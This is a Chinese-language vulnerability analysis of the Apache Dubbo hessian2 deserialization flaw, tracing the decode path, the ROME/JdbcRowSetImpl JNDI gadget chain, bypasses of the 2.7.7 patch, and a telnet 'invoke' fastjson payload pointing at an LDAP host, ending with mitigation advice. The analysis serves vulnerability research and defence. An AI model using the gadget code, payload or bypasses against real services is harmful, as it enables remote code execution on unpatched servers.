Apache Dubbo 反序列化漏洞

0x01 漏洞描述

dubbo于2020年6月22日更新了一个 hessian2 反序列化的漏洞,影响版本:

1
2
3
Dubbo 2.7.0 to 2.7.6
Dubbo 2.6.0 to 2.6.7
Dubbo all 2.5.x versions (not supported by official team any longer)

0x02 环境搭建

服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class A implements Serializable {
String name = "l1nk3r";

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
}

public interface DemoService {

String hello(A a);

Object Sayhello(Object o);
}

public class DemoServiceImpl implements DemoService {

public String hello(A a) {
return "hello! " + a.getName();
}

public Object Sayhello(Object o) {
return "hello! ";
}
}

public class Provider {

public static void main(String[] args) {
new ClassPathXmlApplicationContext("dubbo-provider.xml");
while (true);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//dubbo-provider.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dubbo="http://dubbo.apache.org/schema/dubbo"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://dubbo.apache.org/schema/dubbo http://dubbo.apache.org/schema/dubbo/dubbo.xsd">
<!-- 提供方应用信息,用于计算依赖关系 -->
<dubbo:application name="dubbo-service" />

<!-- 使用multicast广播注册中心暴露服务地址 -->
<!-- <dubbo:registry address="multicast://224.5.6.7:1234" /> -->

<!-- 使用zookeeper注册中心暴露服务地址 -->
<dubbo:registry address="zookeeper://127.0.0.1:2181" />

<!-- 用dubbo协议在20881端口暴露服务 -->
<dubbo:protocol name="dubbo" port="20880" />

<!-- 声明需要暴露的服务接口 -->
<dubbo:service interface="com.l1nk3r.dubbo.DemoService"
ref="demoService" />

<!-- 和本地bean一样实现服务 -->
<bean id="demoService" class="com.l1nk3r.dubbo.DemoServiceImpl" />
</beans>

客户端

1
2
3
4
5
6
7
public class Consumer {
public static void main(String[] args) {
ApplicationContext applicationContext = new ClassPathXmlApplicationContext("dubbo-consumer.xml");
DemoService demoService = (DemoService) applicationContext.getBean("demoService");
System.out.println(demoService.hello(new A()));
}
}

0x03 漏洞分析

1、readobject入口

dubboorg.apache.dubbo.remoting.transport.DecodeHandler#received 方法负责接收来自 socket 的连接,当请求的时候,会自动调用 DecodeHandler#decode 来处理传入的请求。

1
2
3
4
5
public void received(Channel channel, Object message) throws RemotingException {
...
if (message instanceof Request) {
this.decode(((Request)message).getData());
}

跟进 DecodeHandler#decode 方法,由于接收的是RPC请求,因此会来到 DecodeableRpcInvocation#decode 处理 socket 传入的数据。

1
2
3
4
private void decode(Object message) {
if (message instanceof Decodeable) {
try {
((Decodeable)message).decode();

image-20200701131318262

DecodeableRpcInvocation#decode 方法中,会进一步调用 decode(Channel channel, InputStream input) 这个构造方法。

1
2
3
4
public void decode() throws Exception {
if (!this.hasDecoded && this.channel != null && this.inputStream != null) {
try {
this.decode(this.channel, this.inputStream);

跟进 decode(Channel channel, InputStream input) 这个构造方法,核心触发点代码就是下面这些了,先分别来看看。

1
2
3
4
5
6
public Object decode(Channel channel, InputStream input) throws IOException {
ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), this.serializationType).deserialize(channel.getUrl(), input);
..
for(int i = 0; i < args.length; ++i) {
try {
args[i] = in.readObject(pts[i]);

先看下面这段代码:

1
ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), this.serializationType).deserialize(channel.getUrl(), input);

这段代码首先会从channel.getUrl()中获取下列内容

1
dubbo://10.11.17.162:20880/com.l1nk3r.dubbo.DemoService?anyhost=true&application=dubbo-service&bind.ip=10.11.17.162&bind.port=20880&channel.readonly.sent=true&codec=dubbo&deprecated=false&dubbo=2.0.2&dynamic=true&generic=false&heartbeat=60000&interface=com.l1nk3r.dubbo.DemoService&methods=Sayhello,hello&pid=63947&release=2.7.6&side=provider&threadname=DubboServerHandler-10.11.17.162:20880&timestamp=1593580866485

而此时的this.serializationType结果为2,进入CodecSupport.getSerialization进行处理。

image-20200701132350763

此时的 serialization 对象会根据刚刚的this.serializationType进入到map进行查找,不同的id对应不同的 Serialization ,这里的结果是14个。它们分别是

image-20200701132539625

1
2
3
4
5
6
7
8
9
10
11
12
13
14
2-->"org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization@2685de5c",
3-->"org.apache.dubbo.common.serialize.java.JavaSerialization@36536b53",
4-->"org.apache.dubbo.common.serialize.java.CompactedJavaSerialization@17699a12",
6-->"org.apache.dubbo.common.serialize.fastjson.FastJsonSerialization@4e5571bb",
7-->"org.apache.dubbo.common.serialize.nativejava.NativeJavaSerialization@46aa2113",
8-->"org.apache.dubbo.common.serialize.kryo.KryoSerialization@6b0ed366",
9-->"org.apache.dubbo.common.serialize.fst.FstSerialization@30ec7d1f",
10-->"org.apache.dubbo.serialize.hessian.Hessian2Serialization@55511a10",
11-->"org.apache.dubbo.common.serialize.avro.AvroSerialization@42e41b10",
12-->"org.apache.dubbo.common.serialize.protostuff.ProtostuffSerialization@5fec75c9",
16-->"org.apache.dubbo.common.serialize.gson.GsonSerialization@c3bffae",
21-->"org.apache.dubbo.common.serialize.protobuf.support.GenericProtobufJsonSerialization@51e7f5a3",
22-->"org.apache.dubbo.common.serialize.protobuf.support.GenericProtobufSerialization@33394814",
25-->"org.apache.dubbo.common.serialize.kryo.optimized.KryoSerialization2@f473187"

然后会调用进入url.getParameter("serialization", "hessian2"),最后满足if判断的情况下就会返回hessian2.Hessian2Serialization这个对象

1
2
3
4
5
public static Serialization getSerialization(URL url, Byte id) throws IOException {
Serialization serialization = getSerializationById(id);
String serializationName = url.getParameter("serialization", "hessian2");
if (serialization != null && (id != 3 && id != 7 && id != 4 || serializationName.equals(ID_SERIALIZATIONNAME_MAP.get(id)))) {
return serialization;

跟进url.getParameter("serialization", "hessian2"),这里会有一个getParameter(key),而这个key正是我们前面url中的 serialization ,但是很有趣的一点,我们的url中是没有这个 Parameter ,也就是说当满足StringUtils.isEmpty(value)这个判断的情况下,返回结果自然是 defaultValue 也就是传入的 hessian2。从这里也可以知道dubbo这个协议默认是走 hessian2 的。

1
2
3
4
public String getParameter(String key, String defaultValue) {
String value = this.getParameter(key);
return StringUtils.isEmpty(value) ? defaultValue : value;
}

这里过程都处理完之后,就来到DecodeableRpcInvocationdecode(Channel channel, InputStream input) 这个构造方法漏洞的入口 readobject 了,而这里的 in 对象实际上就是我们前面返回的hessian2.Hessian2Serialization对象。

1
2
3
4
5
6
public Object decode(Channel channel, InputStream input) throws IOException {
ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), this.serializationType).deserialize(channel.getUrl(), input);
...
for(int i = 0; i < args.length; ++i) {
try {
args[i] = in.readObject(pts[i]);

进一步跟进来到的就是 hessian2.Hessian2ObjectInput#readObject 方法了。

1
2
3
public <T> T readObject(Class<T> cls) throws IOException, ClassNotFoundException {
return this.mH2i.readObject(cls);
}

继续一直跟进会来到 Hessian2Input 这个方法中的readObject(List<Class<?>> expectedTypes)构造方法,在这个方法里的 case 72 就是本次漏洞的核心点触发点map。

1
2
3
4
case 72:
boolean keyValuePair = expectedTypes != null && expectedTypes.size() == 2;
reader = this.findSerializerFactory().getDeserializer(Map.class);
return reader.readMap(this, keyValuePair ? (Class)expectedTypes.get(0) : null, keyValuePair ? (Class)expectedTypes.get(1) : null);

继续跟进reader.readMap,这里会调用 MapDeserializer#readMap 进行处理。

image-20200701134711152

继续跟进这个 MapDeserializer#doReadMap 就可以看到了,这里调用的 map.put ,后面再来说这个东西有啥用。

image-20200701134806869

先看一下 rome 这个 gadget

1
2
3
4
5
6
private static Object getPayload() throws Exception {
String jndiUrl = "ldap://127.0.0.1:1389/yd5lo9";
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(jndiUrl));
EqualsBean root = new EqualsBean(ToStringBean.class,item);
return JDKUtil.makeMap(root,root);
}

首先创建了一个 ToStringBeanitem ,将 beanClass 设置为了 JdbcRowSetImpl ,obj设置为放入JNDI地址的 JdbcRowSetImpl 对象。

1
2
3
4
public ToStringBean(Class<?> beanClass, Object obj) {
this.beanClass = beanClass;
this.obj = obj;
}
1
2
3
4
5
6
7
public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");
Reflections.getField(BaseRowSet.class, "listeners").set(rs, (Object)null);
return rs;
}

其次创建一个 EqualsBean ,把前面那个item放进去。

1
2
3
4
5
6
7
8
public EqualsBean(Class<?> beanClass, Object obj) {
if (!beanClass.isInstance(obj)) {
throw new IllegalArgumentException(obj.getClass() + " is not instance of " + beanClass);
} else {
this.beanClass = beanClass;
this.obj = obj;
}
}

最后通过 JDKUtil.makeMap 反射构造数组的方式,防止在放入root对象的时候触发put方法导致出发利用代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
HashMap<Object, Object> s = new HashMap();
Reflections.setFieldValue(s, "size", 2);

Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException var6) {
nodeC = Class.forName("java.util.HashMap$Entry");
}

Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
return s;
}

这里为什么会样呢,原因就在于 ToStringBean 有个 toString 方法,这个方法会根据 beanClassgetter 构造方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);

try {
List<PropertyDescriptor> propertyDescriptors = BeanIntrospector.getPropertyDescriptorsWithGetters(this.beanClass);
Iterator var10 = propertyDescriptors.iterator();

while(var10.hasNext()) {
PropertyDescriptor propertyDescriptor = (PropertyDescriptor)var10.next();
String propertyName = propertyDescriptor.getName();
Method getter = propertyDescriptor.getReadMethod();
Object value = getter.invoke(this.obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + propertyName, value);
}

而在 EqualBean 里有个 hashCode 方法,这个方法会调用obj对象的toString方法。

1
2
3
4
5
6
7
public int hashCode() {
return this.beanHashCode();
}

public int beanHashCode() {
return this.obj.toString().hashCode();
}

好了再回到dubbo当中,我们刚刚知道 MapDeserializer#doReadMap 会调用的 map.put ,在跟进 map.put 我们会看到这里会调用hash(key),来进行计算,而这个计算方法,自然会调用key对象的 hashCode 方法,假设key对象是 EqualBean ,那么这里的利用链自然就串起来了。

1
2
3
4
5
6
7
8
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

下面就是调用栈了,很遗憾,这个点实际上修复的并不完全,依然在2.7.7上可以利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)

2、toString入口

这个入口的POC实际上被公开了,应该算是dubbo自己有问题,把提交者邮件正文内容全部公开,这条链走的实际上并不是 readObject 入口,而是 toString 口,我们来细看一下,前面的流程都和 readObject 入口一致,前面也是经过 DecodeHandler#decode 进行解码操作,最后来到 DecodeableRpcInvocation#decode 这个方法中,下面代码是核心触发点。

1
2
3
for(int i = 0; i < args.length; ++i) {
args[i] = CallbackServiceCodec.decodeInvocationArgument(channel, this, pts, i, args[i]);
}

跟进 decodeInvocationArgument 方法,重点可以看看DubboProtocol.getDubboProtocol().getInvoker

1
2
3
4
5
6
7
8
9
10
11
12
public static Object decodeInvocationArgument(Channel channel, RpcInvocation inv, Class<?>[] pts, int paraIndex, Object inObject) throws IOException {
URL url = null;

try {
url = DubboProtocol.getDubboProtocol().getInvoker(channel, inv).getUrl();
} catch (RemotingException var10) {
if (logger.isInfoEnabled()) {
logger.info(var10.getMessage(), var10);
}

return inObject;
}

getInvoker 当中,针对inv进行了 getInvocationWithoutData 的处理。

1
2
3
4
5
6
7
8
  Invoker<?> getInvoker(Channel channel, Invocation inv) throws RemotingException {
...
if (exporter == null) {
throw new RemotingException(channel, "Not found exported service: " + serviceKey + " in " + this.exporterMap.keySet() + ", may be version or group mismatch , channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + this.getInvocationWithoutData(inv));
} else {
return exporter.getInvoker();
}
}

跟进 getInvocationWithoutData 的处理,这里有个判断,当 logger 不是 debug 状态的时候,将 Arguments 设置为空。

1
2
3
4
5
6
7
8
9
10
11
private Invocation getInvocationWithoutData(Invocation invocation) {
if (this.logger.isDebugEnabled()) {
return invocation;
} else if (invocation instanceof RpcInvocation) {
RpcInvocation rpcInvocation = (RpcInvocation)invocation;
rpcInvocation.setArguments((Object[])null);
return rpcInvocation;
} else {
return invocation;
}
}

那这里就有个疑惑了,如果已经处理了,为什么在2.7.6上用这个poc依然能够攻击成功呢。

image-20200702102243482

为了解决这个疑惑,我们来分别看看,当前环境下的 DecodeableRpcInvocation 确实是满足继承 RpcInvocation

image-20200702102756714

为了达到这段代码效果,手动将 Arguments 设置为 null ,实际经过这么处理之后,确实是不会触发的。

image-20200702103040916

这就很纳闷了,在我不设置日志级别的情况下会触发。

image-20200702105605539

在我设置了日志级别的情况下,不会触发,所以这里小心求证,应该是不设置日志级别的情况下,默认是debug。

image-20200702105748387

当然这条链的最后调用栈如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
valueOf:2994, String (java.lang)
toString:4571, Arrays (java.util)
toString:429, RpcInvocation (org.apache.dubbo.rpc)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
getInvoker:265, DubboProtocol (org.apache.dubbo.rpc.protocol.dubbo)
reply:120, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
handleRequest:100, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
received:175, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
received:51, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

0x04 补丁以及绕过

在2.7.7当中,dubbo增加了一段代码。

image-20200701141715441

1
2
3
if (!RpcUtils.isGenericCall(path, this.getMethodName()) && !RpcUtils.isEcho(path, this.getMethodName())) {
throw new IllegalArgumentException("Service not found:" + path + ", " + this.getMethodName());
}

当这段代码逻辑有点问题,也就说只要 method 匹配 invokeinvokeAsyncecho,让!RpcUtils.isGenericCall(path, this.getMethodName()) && !RpcUtils.isEcho(path, this.getMethodName())这个逻辑判断为 false 可以绕过,这里的判断应该是为了判断方法名字和路径一致增加的吧。

1
2
3
4
5
6
7
public static boolean isGenericCall(String path, String method) {
return "$invoke".equals(method) || "$invokeAsync".equals(method);
}

public static boolean isEcho(String path, String method) {
return "$echo".equals(method);
}

前面我们提到过的,在 getInvocationWithoutData 当中也处理了一条链。

1、绕过args限制

DecodeableRpcInvocation#decode 这里的几个 readUTF 做手脚,这里实际上不放在 args 里面应该是 ok 的。

1
2
3
4
5
6
7
8
9
10
11
public Object decode(Channel channel, InputStream input) throws IOException {
ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), this.serializationType).deserialize(channel.getUrl(), input);
String dubboVersion = in.readUTF();
this.request.setVersion(dubboVersion);
this.setAttachment("dubbo", dubboVersion);
String path = in.readUTF();
this.setAttachment("path", path);
this.setAttachment("version", in.readUTF());
this.setMethodName(in.readUTF());
String desc = in.readUTF();
this.setParameterTypesDesc(desc);

核心点在于 Hessian2Input#expect 这个方法里面也有 toString 的利用方式,当然还有个 readObject ,至于为啥要放置 readObject 我也不太清楚。

1
2
3
4
5
6
7
8
9
protected IOException expect(String expect, int ch) throws IOException {
if (ch < 0) {
return this.error("expected " + expect + " at end of file");
} else {
--this._offset;

try {
Object obj = this.readObject();
return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:3564, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readString:1883, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readUTF:88, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:109, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:80, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

2、寻找新的readObject入口

这个 gadget 来自 @threedr3am 师傅的之前dubbo攻击 hessian2 文章中,核心思路他找到了一条新的 readObject ,来自 org.apache.dubbo.common.serialize.readEvent 当中。

其实我觉得核心思路在这里 DubboCodec#decodeBody 。当req.isEvent()结果为true的时候,就会进入这个if逻辑进行操作。

1
2
3
4
5
6
7
protected Object decodeBody(Channel channel, InputStream is, byte[] header) throws IOException {
...
try {
Object data;
if (req.isEvent()) {
in = CodecSupport.deserialize(channel.getUrl(), is, proto);
data = this.decodeEventData(channel, in);

isEvent 主要是返回 this.mEvent 的值。

1
2
3
public boolean isEvent() {
return this.mEvent;
}

这个 this.mEvent 的值是怎么来的,继续往下看,flagheader[2] 数组的值,这里是request请求,没有什么疑问前面也提到了,所以会进来这里进行处理。这个做了一个(flag & 32) != 0的逻辑判断,如果是true的情况下,就会将调用 setEvent 方法。

1
2
3
4
5
6
7
8
9
10
protected Object decodeBody(Channel channel, InputStream is, byte[] header) throws IOException {
byte flag = header[2];
...
} else {
Request req = new Request(id);
req.setVersion(Version.getProtocolVersion());
req.setTwoWay((flag & 64) != 0);
if ((flag & 32) != 0) {
req.setEvent(true);
}

setEvent(boolean mEvent) 构造方法中,可以清楚看到这里的结果是true,因此自然会回到上面的流程中,进行 decodeEventData 处理了。

1
2
3
public void setEvent(boolean mEvent) {
this.mEvent = mEvent;
}

这里再提一点,如果req.isEvent()为false的情况下,就会来到下面的操作了,这里和之前的出发点非常相似。

1
2
3
4
5
6
7
8
9
DecodeableRpcInvocation inv;
if (channel.getUrl().getParameter("decode.in.io", false)) {
inv = new DecodeableRpcInvocation(channel, req, is, proto);
inv.decode();
} else {
inv = new DecodeableRpcInvocation(channel, req, new UnsafeByteArrayInputStream(this.readMessageData(is)), proto);
}

data = inv;

跟进 ExchangeCodec#decodeEventData 之后会直接 return 调用 ObjectInput#readEvent 方法。

1
2
3
4
5
6
7
protected Object decodeEventData(Channel channel, ObjectInput in) throws IOException {
try {
return in.readEvent();
} catch (ClassNotFoundException | IOException var4) {
throw new IOException(StringUtils.toString("Decode dubbo protocol event failed.", var4));
}
}

再继续跟进 ObjectInput#readEvent 方法就会来到readObject入口了,这里就和前面漏洞提交的触发利用链一致了。

1
2
3
default Object readEvent() throws IOException, ClassNotFoundException {
return this.readObject();
}

这里再提一点, @threedr3am 师傅为了满足进入这个逻辑进行触发,做了一些特殊的header处理。这里我们可以看到 flagbyte为-94,protobyte为2,前面我们提过2-->"org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization

image-20200702133628451

image-20200702133801946

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2733, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2308, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:93, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
readEvent:83, ObjectInput (org.apache.dubbo.common.serialize)
decodeEventData:400, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)
decodeBody:122, DubboCodec (org.apache.dubbo.rpc.protocol.dubbo)
decode:122, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)
decode:82, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)
decode:48, DubboCountCodec (org.apache.dubbo.rpc.protocol.dubbo)
decode:85, NettyCodecAdapter$InternalDecoder (org.apache.dubbo.remoting.transport.netty4)

0x05 后话

期间在调试过程中,发现一些师傅发了一种利用telnet直接连接端口配合 fastjson 执行的情况。

1
invoke com.baidu.hellofastjson("aa",{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/chober","autoCommit":true}}, "poc":11})

image-20200702134957343

核心点在这里 HeaderExchangeHandler#received ,遇到message instanceof String的情况,就会转发到 TelnetHandlerAdapter#telnet 方法进行处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public void received(Channel channel, Object message) throws RemotingException {
ExchangeChannel exchangeChannel = HeaderExchangeChannel.getOrAddChannel(channel);
if (message instanceof Request) {
Request request = (Request)message;
if (request.isEvent()) {
this.handlerEvent(channel, request);
} else if (request.isTwoWay()) {
this.handleRequest(exchangeChannel, request);
} else {
this.handler.received(exchangeChannel, request.getData());
}
} else if (message instanceof Response) {
handleResponse(channel, (Response)message);
} else if (message instanceof String) {
if (isClientSide(channel)) {
Exception e = new Exception("Dubbo client can not supported string message: " + message + " in channel: " + channel + ", url: " + channel.getUrl());
logger.error(e.getMessage(), e);
} else {
String echo = this.handler.telnet(channel, (String)message);
if (echo != null && echo.length() > 0) {
channel.send(echo);
}
}
} else {
this.handler.received(exchangeChannel, message);
}

跟进 TelnetHandlerAdapter#telnet 获取前缀dubbo>中内容。

1
2
3
4
5
6
7
8
public String telnet(Channel channel, String message) throws RemotingException {
String prompt = channel.getUrl().getParameterAndDecoded("prompt", "dubbo>");
...
if (command.length() > 0) {
if (this.extensionLoader.hasExtension(command)) {
if (this.commandEnabled(channel.getUrl(), command)) {
try {
String result = ((TelnetHandler)this.extensionLoader.getExtension(command)).telnet(channel, message);

image-20200702135546466

extensionLoader.hasExtension(command)会进行处理,当出现时 invoke 关键字的时候,自然是进入org.apache.dubbo.qos.legacy.InvokeTelnetHandler处理。

image-20200702135919660

还有一些其他方法。

1
2
3
4
5
6
7
8
9
ls=org.apache.dubbo.qos.legacy.ListTelnetHandler
ps=org.apache.dubbo.qos.legacy.PortTelnetHandler
cd=org.apache.dubbo.qos.legacy.ChangeTelnetHandler
pwd=org.apache.dubbo.qos.legacy.CurrentTelnetHandler
invoke=org.apache.dubbo.qos.legacy.InvokeTelnetHandler
trace=org.apache.dubbo.qos.legacy.TraceTelnetHandler
count=org.apache.dubbo.qos.legacy.CountTelnetHandler
select=org.apache.dubbo.qos.legacy.SelectTelnetHandler
shutdown=org.apache.dubbo.qos.legacy.ShutdownTelnetHandler

InvokeTelnetHandler#telnet 会触发 JSON.parseArray 操作,如果是低版本 fastjson ,你懂的。

1
2
3
4
5
public String telnet(Channel channel, String message) {
if (StringUtils.isEmpty(message)) {
...
try {
list = JSON.parseArray("[" + args + "]", Object.class);

附上到这里的调用栈

1
2
3
4
5
6
7
8
9
10
11
12
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
...
parseArray:535, JSON (com.alibaba.fastjson)
telnet:81, InvokeTelnetHandler (org.apache.dubbo.qos.legacy)
telnet:59, TelnetHandlerAdapter (org.apache.dubbo.remoting.telnet.support)
received:187, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
received:51, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

0x06 修复建议

• 出网限制

经研究当前存在的反序列化利用链大多需要远程加载恶意类,如果没有特殊需求,建议在不影响业务的情况下将服务器配置出外网限制。

• IP白名单

建议用户将能够连接至Dubbo服务端的消费端IP加入到可信IP白名单里,并在服务端配置可信IP白名单,以防止攻击者在外部直接发起连接请求。

• 更换默认的反序列化方式

Dubbo协议默认采用Hessian作为序列化反序列化方式,而Hessian存在危险的反序列化漏洞。用户可以在考虑不影响业务的情况下更换协议以及反序列化方式,如:rest,grpc,thrift等。

• 关闭公网端口

不要将Dubbo服务端的开放端口暴露在公网,但需要注意这种场景若攻击者在内网环境仍然可以进行攻击。

Reference

Apache Dubbo Provider default deserialization cause RCE

dubbo源码浅析:默认反序列化利用之hessian2